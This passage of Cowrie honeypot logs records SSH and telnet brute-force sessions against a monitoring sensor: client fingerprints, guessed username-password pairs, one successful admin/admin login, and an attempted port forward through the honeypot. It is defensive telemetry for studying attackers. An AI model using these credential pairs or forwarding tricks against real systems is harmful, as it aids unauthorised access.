h.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:10:25.042282Z","src_ip":"103.172.78.219","session":"3943cab77aeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"amadeus55","message":"login attempt [root/amadeus55] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:10:25.794708Z","src_ip":"103.172.78.219","session":"3943cab77aeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:10:27.050181Z","src_ip":"103.172.78.219","session":"3943cab77aeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":37544,"dst_ip":"10.17.0.5","dst_port":22,"session":"953a0725349c","protocol":"ssh","message":"New connection: 103.173.227.57:37544 (10.17.0.5:22) [session: 953a0725349c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:10:53.439601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:10:53.443890Z","src_ip":"103.173.227.57","session":"953a0725349c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:10:53.689670Z","src_ip":"103.173.227.57","session":"953a0725349c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23041987","message":"login attempt [root/23041987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:10:54.426847Z","src_ip":"103.173.227.57","session":"953a0725349c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:10:55.675112Z","src_ip":"103.173.227.57","session":"953a0725349c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":57872,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4145be65515","protocol":"ssh","message":"New connection: 103.148.100.146:57872 (159.203.135.109:22) [session: c4145be65515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:10:58.537316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:10:58.542290Z","src_ip":"103.148.100.146","session":"c4145be65515","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:10:58.815676Z","src_ip":"103.148.100.146","session":"c4145be65515","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:10:59.931020Z","src_ip":"103.148.100.146","session":"c4145be65515","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:11:01.207135Z","src_ip":"103.148.100.146","session":"c4145be65515","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":50538,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdacf2ac4b3b","protocol":"ssh","message":"New connection: 193.37.70.224:50538 (10.17.0.5:22) [session: fdacf2ac4b3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:11:10.210712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:11:10.215230Z","src_ip":"193.37.70.224","session":"fdacf2ac4b3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:11:10.305192Z","src_ip":"193.37.70.224","session":"fdacf2ac4b3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"82468246","message":"login attempt [root/82468246] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:11:10.574571Z","src_ip":"193.37.70.224","session":"fdacf2ac4b3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:11:11.666911Z","src_ip":"193.37.70.224","session":"fdacf2ac4b3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":51042,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3f68e8e79ef","protocol":"telnet","message":"New connection: 69.4.83.194:51042 (159.203.135.109:23) [session: e3f68e8e79ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:11:14.378142Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":34504,"dst_ip":"10.17.0.5","dst_port":23,"session":"5615a081d165","protocol":"telnet","message":"New connection: 180.235.129.180:34504 (10.17.0.5:23) [session: 5615a081d165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:11:17.528191Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":56684,"dst_ip":"159.203.135.109","dst_port":23,"session":"770a1373cd94","protocol":"telnet","message":"New connection: 69.4.83.194:56684 (159.203.135.109:23) [session: 770a1373cd94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:11:26.565929Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":34334,"dst_ip":"159.203.135.109","dst_port":22,"session":"971a8fce0051","protocol":"ssh","message":"New connection: 69.6.221.248:34334 (159.203.135.109:22) [session: 971a8fce0051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:11:30.051523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:11:30.055964Z","src_ip":"69.6.221.248","session":"971a8fce0051","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:11:30.174590Z","src_ip":"69.6.221.248","session":"971a8fce0051","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":50376,"dst_ip":"159.203.135.109","dst_port":22,"session":"b72c37e74c09","protocol":"ssh","message":"New connection: 103.82.20.28:50376 (159.203.135.109:22) [session: b72c37e74c09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:11:30.594634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:11:30.599602Z","src_ip":"103.82.20.28","session":"b72c37e74c09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"123","message":"login attempt [devuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:11:30.678663Z","src_ip":"69.6.221.248","session":"971a8fce0051","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:11:30.886902Z","src_ip":"103.82.20.28","session":"b72c37e74c09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"skinhead","message":"login attempt [root/skinhead] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:11:31.753736Z","src_ip":"103.82.20.28","session":"b72c37e74c09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:11:31.795614Z","src_ip":"69.6.221.248","session":"971a8fce0051","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:11:33.042671Z","src_ip":"103.82.20.28","session":"b72c37e74c09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.01642107963562,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:11:46.394480Z","src_ip":"69.4.83.194","session":"e3f68e8e79ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":59535,"dst_ip":"159.203.135.109","dst_port":22,"session":"730f077b80ec","protocol":"ssh","message":"New connection: 223.197.186.7:59535 (159.203.135.109:22) [session: 730f077b80ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:11:51.802516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:11:51.810540Z","src_ip":"223.197.186.7","session":"730f077b80ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:11:52.106583Z","src_ip":"223.197.186.7","session":"730f077b80ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"123","message":"login attempt [adminuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:11:53.127008Z","src_ip":"223.197.186.7","session":"730f077b80ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:11:54.345894Z","src_ip":"223.197.186.7","session":"730f077b80ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.648292541503906,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:11:58.214099Z","src_ip":"69.4.83.194","session":"770a1373cd94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":40760,"dst_ip":"159.203.135.109","dst_port":23,"session":"eccd0f2b1d34","protocol":"telnet","message":"New connection: 69.4.83.194:40760 (159.203.135.109:23) [session: eccd0f2b1d34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:00.028568Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":48744,"dst_ip":"10.17.0.5","dst_port":22,"session":"aef715f943d4","protocol":"ssh","message":"New connection: 87.251.64.176:48744 (10.17.0.5:22) [session: aef715f943d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:00.953150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:00.957426Z","src_ip":"87.251.64.176","session":"aef715f943d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:01.051047Z","src_ip":"87.251.64.176","session":"aef715f943d4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:01.343955Z","src_ip":"87.251.64.176","session":"aef715f943d4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:01.443125Z","session":"aef715f943d4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:01.541151Z","src_ip":"87.251.64.176","session":"aef715f943d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:01.640926Z","src_ip":"87.251.64.176","session":"aef715f943d4","protocol":"ssh"}
